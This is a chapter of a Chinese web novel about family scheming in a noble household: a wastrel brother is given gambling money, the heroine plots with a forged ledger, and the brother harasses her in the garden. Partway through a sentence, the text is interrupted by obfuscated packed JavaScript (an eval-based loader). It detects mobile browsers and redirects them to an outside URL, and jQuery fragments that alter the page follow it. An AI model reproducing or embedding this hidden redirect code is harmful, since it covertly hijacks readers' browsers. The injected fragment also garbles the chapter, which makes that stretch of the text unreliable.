14.调戏
作品:《论如何靠花钱当上世子妃》 罗漪华正要领着罗岱出去,谢元鼎便阔步踏进正堂,看见跟在罗漪华身后的罗岱,眉头微不可察地皱了一下,但终究没说什么。
“姐夫。”罗岱向谢元鼎行礼。
谢元鼎点头回应,接着径直向正中太师椅走去,却看见太师椅旁还留着罗岱吃剩下的茶点,内心的不满终是忍不住了,回头看向罗漪华:“小舅子倒是把侯府当自己家了。”
谢元鼎这么一说,罗漪华才意识到刚刚罗岱坐的是只有主人家才能坐的地方。
她自知理亏,又着急解决弟弟的事,也没有多嘴,只连忙让下人收拾好,重新上茶。
待三个人都坐定,罗漪华才向谢元鼎提起罗岱来侯府小住的事。
“侯爷,阿岱现下也不小了,亲事也该提上日程了,父亲来信说让妾这个做姐姐的留意留意凤阳好人家的女儿,妾身想着不如让阿岱在侯府住上些时日,也好相看人家。”罗漪华不敢提罗岱赌钱的事,只用亲事做借口,言辞间很是恳切,尽是一副慈爱长姐的模样。
罗岱听姐姐愿意留自己在侯府住,便也连声附和:“是啊姐夫,我这回是真觉着自己该成个家了。”
谢元鼎看着罗岱的样子,倒觉得是有几分真心的样子,再加上夫人都这么说了,他也没有拒绝的理由,只不过仍要说上一番教导之语:“既如此,小舅子便在侯府住下吧,你有这般心思,那便从此收起纨绔习性,切不可再像从前那般胡闹,成家立业方是正经。”
罗岱只听见了谢元鼎同意他来家住,心里狂喜,后面的话一概没听进去,嘴上却说:“姐夫教导的是。”
“住下之事妾身会安排妥当,就不劳夫君费心了。”罗漪华仍是那副温温柔柔的样子,应付着丈夫。
谢元鼎自是没有要多管罗岱的心思,只要他不给侯府添麻烦,其它的就由他去吧。
“夫人多费心。”谢元鼎不欲多寒暄,把茶喝完就走了,留姐弟两人说话。
谢元鼎走后,罗漪华接着问起罗岱赌钱一事:“那二百两你打算怎么办?”
罗岱心下觉得罗漪华真是明知故问,他都求到侯府来了,可不就是打着让她这侯府夫人帮他解决这件事的算盘吗,这也不是第一回了。
“阿姐,你就再帮弟弟一回吧,我下次再也不赌了!”罗岱面上一片真诚。
罗漪华看着弟弟这个样子,心下实在是有些动摇,毕竟是自己弟弟,她还能真的放任不管吗?
轻叹一口气,她便叫了柳嬷嬷过来:“你从大姑娘办笄礼的用度里划二百两出来。”
柳嬷嬷有些迟疑:“夫人,这会不会有些不妥?”
罗漪华知道,侯爷对那丫头的及笄礼看得重,但她也没办法,总不能从她的体己钱里拿吧,这些都是要留着给萱姐儿和旻哥儿的:"无妨,你照做就是。"
柳嬷嬷领命下去了。
“嘿嘿,还是姐你对我好,还有,姐,你能不能让刚刚那丫鬟来服侍我?”罗岱得了便宜还卖乖。
罗漪华狠狠拧了他一把:“你想得美,我告诉你,你在侯府别惹事!你要是还像原来一样,我饶不了你!”
虽是这么说,但罗漪华还是让那个叫桃花的丫鬟伺候罗岱,又让罗岱住在靠外院的院子,等等琐事,按下不表。
稍晚一些,谢泱等来了巧玉的回话。
巧玉说完罗漪华让她来确认账本,便问谢泱:“姑娘要我现在去回了夫人吗?”
谢泱思索一番,倘若巧玉现在就去告诉罗漪华谢泱的账本是灵丹阁的,那未免显得太顺利了:“不必,你现在什么都不用做。”
巧玉领命下去后,茯苓有些不解的问:“姑娘为何不直接告诉夫人您就是灵丹阁大掌柜?何必如此大费周章?”
“我要的是她知道后恨不得直接把灵丹阁抢过来,直接告诉她还有这个效果吗?”
罗漪华自己一步一步证实这个事,到最后得到真相时反应才会越激烈。谢泱要确保在禁药案事发后罗漪华能第一时间接手灵丹阁。
不过,仅凭巧玉的话罗漪华未必会完全相信,所以她要让巧玉两天之后把账本直接交到罗漪华手上,让罗漪华眼见为实。而在这期间,谢泱还要出面坐实罗漪华的猜想。
只是如何证实呢?谢泱翻着手中那本罗漪华极想要的账本。
这本账本不是真的账本,里面的流水都是谢泱精心伪造过的,从头到尾都只有帐尾盖着的灵丹阁印章是真的。
对了,印章!谢泱眼前一亮,这印章不就是一个很好的证据吗?
“茯苓,你去把我的印章拿过来。”
“是,姑娘。”
片刻后,茯苓将一枚小巧的白玉印章递给谢泱。
灵丹阁有两个商章,大的那枚放在叶三那里,而小的那枚方便携带,便放在了谢泱这里。平日里谢泱都令茯苓妥善保管,非需要不会拿出来用,但如今它要有别的用处了。谢泱看着手上的印章,若有所思。
随后,她在两个丫鬟耳边说了一番话。
半夏和茯苓听完以后,对视一眼,也下去了。
次日一早,谢泱破天荒地决定去给罗漪华请早安。
去之前,她特意将那枚灵丹阁的印章别在了腰间,白玉印章与她的月华色常服相配,旁人不细看只会以为是一枚普通玉佩,倒是不打眼。
路上,谢泱又向两个丫鬟叮嘱了一遍昨晚所说之事。
茯苓乖巧地点点头,而半夏却忍不住贫嘴:“姑娘如此絮叨,到时候可要找一个耳根子厚的姑爷,否则怎么受得了!”说完还用揶揄的眼神看着谢泱。
这话一出,连稳重的茯苓都忍不住笑了出来。
“好你个半夏,敢取笑你家小姐。”谢泱也觉得好笑,佯怒着要去揪半夏的耳朵:“还敢不敢了?”
“姑娘我错了,再也不敢了!”
三个人闹作一团,好不容易分开了要往荣禧堂去,绕过花园一处假山时却冷不丁被突然出现的罗岱吓了一跳。
原来是刚刚谢泱三人的笑声被同要去荣禧堂的罗岱听到了。
那罗岱昨日回去后便听服侍他的桃花说候府大小姐谢泱前不久回府了,罗岱知道有谢泱这个人,却从来没见过她。他本不在意,可刚刚隔着花草远远一见,这个他从未见过的名义上的外甥女竟是如此漂亮,顿时便起了些别的心思。
罗岱伸手拦住谢泱一行人:“这位便是泱姐儿吧,真是百闻不如一见。”他的目光在谢泱身上上下打量,虽和他的亲外甥女谢云萱差不多大,可看着却勾人得很,尤其是那双眼,他看一眼便觉得魂要被勾走了,好一个含苞待放呼之欲出的美娇娘。
谢泱冷冷地看向这个眼神猥琐的不速之客,谢泱不认得这个人,但在看他第一眼的那刻就大概知道了这是一个什么样的人。
想要了解一个人最直接的方法就是观察他的眼神,言语可以修饰,但眼神却很难骗人。
罗岱常年混迹烟花柳巷之地,眼神浑浊猥琐,尽管谢泱不认识他,但也能从这点判断出一二——此人绝非善类,需要提防。
谢泱不想追究为何一个外男能随意出现在后院,她往旁边挪了一步,准备绕过此人直接走。罗岱见状也跟着往旁边走,挡住谢泱的去路,半夏和茯苓见状当即便挡在谢泱面前护着她。
“泱姐儿别着急嘛,我是彭城伯府的公子,说来你还得叫我一声舅舅呢。”罗岱笑眯眯地看向谢泱,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158151|196167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没脸没皮地先攀上了亲戚。
彭城伯府?原来是罗漪华的弟弟,谢泱冷笑一声:“既然是‘舅舅’,那不知眼下这般作态是何意味?”谢泱说的是罗岱不管不顾就拦着她,还纠缠不休。
谢泱态度很明显,她不想和罗岱多纠缠,但罗岱却好像感受不到似的:“泱姐儿何必如此生疏,我们都是一家人嘛。”
“你小时候我还见过你呢,想来你是不记得了。”
这句话当然是胡扯,只不过罗岱瞎话说习惯了,为了套近乎这种话是张口就来:“没想到这些年出落得愈发动人了。”他边说边将手伸向谢泱的脸。
“放肆!”茯苓和半夏一同出声,而谢泱则是在那双咸猪手伸过来的那刻往后退了一步。
罗岱倒没真想摸谢泱,只不过这样的动作也足够令人作呕。
谢泱的耐心在此刻被完全耗尽,但面上反而浮现出一抹笑容,只是那笑意未达眼底:“‘舅舅’自便。”说完便转身另寻一条路走了。
两个丫鬟紧跟在谢泱身后一起走了,只是半夏还回头恶狠狠地瞪了一眼罗岱。
罗岱望着谢泱的背影,没再追上去,他低头看向那只差点摸到谢泱脸颊的手,随后缓缓将手凑到鼻尖,闭眼深嗅一口,一脸享受:“还是个烈性的。”
谢泱绕了条小路去荣禧堂,路上半夏愤愤不平:“姑娘,咱们就这么轻易放过他了?要我说,姑娘你就应该让我直接揍他一顿!”
茯苓有些不认可:“这样容易给姑娘惹麻烦,不如告诉侯爷,让侯爷把他赶出府去,这种登徒子留在府里就是个祸害。”
谢泱耐心听着两个丫鬟给她出的主意,她们说的都有道理,但算账也得讲究天时地利,刚刚并无他人看到,谢泱告状也是一个空口无凭,当然了,她才不会用“告状”这么蠢的法子,且等着吧,这笔帐她记下了。
“半夏,你去打听清楚此人底细,我倒要看看他想做什么。”
“是,姑娘。”
正说着,三人便到了荣禧堂。
罗漪华正在用早饭,见谢泱突然来她这,筷子都差点没拿稳。
难道是巧玉被这小蹄子发现了?真是个成事不足败事有余的东西!罗漪华心下猜疑,面上却挂着一副受宠若惊的慈孝:“泱姐儿怎么早来我这请安,真是有心了。”
“既然来了,不如就在这用膳吧。”罗漪华说这话时仍坐在座位上,下人听了也无甚反应,很显然,这只是句客套话,罗漪华才不想谢泱留下来给她添堵。
哪曾想,谢泱听罢真就坐下了,脸上挂着不出错的笑容:“那便多谢姨娘好意了,正好腹中也有些饥饿。”谢泱睁着大眼看看罗漪华,又看看罗漪华身旁的丫鬟,她偏要装作听不懂的样子。
罗漪华紧紧攥着手帕,气的指甲险些被掐断,可气的是面上还不能露出异样,她只好瞪了一眼身旁的丫鬟:“愣着做什么,还不快去给大姑娘添碗筷!”
那丫鬟也是委屈的很,明明是夫人不喜大姑娘,偏偏还要她们做下人的受气。
“这丫鬟不懂事,倒是叫泱姐儿笑话了。”
“不碍事的姨娘,我并未放在心上。”谢泱这话说的大度,言语间却是暗暗指责罗漪华驭下无方。
此话一出,罗漪华连基本的笑都维持不住了。
果真是那贱人的女儿!
谢泱没再看罗漪华的反应,而是在碗筷呈上来后指挥半夏给她布菜。
“那个粥看起来不错,给我盛一碗。”谢泱指了指中间的米粥。
半夏盛好一小碗,正要递给谢泱,却不知道被什么绊了一下,一踉跄,手上的粥便尽数洒在了谢泱的衣裙上。
“啊——”

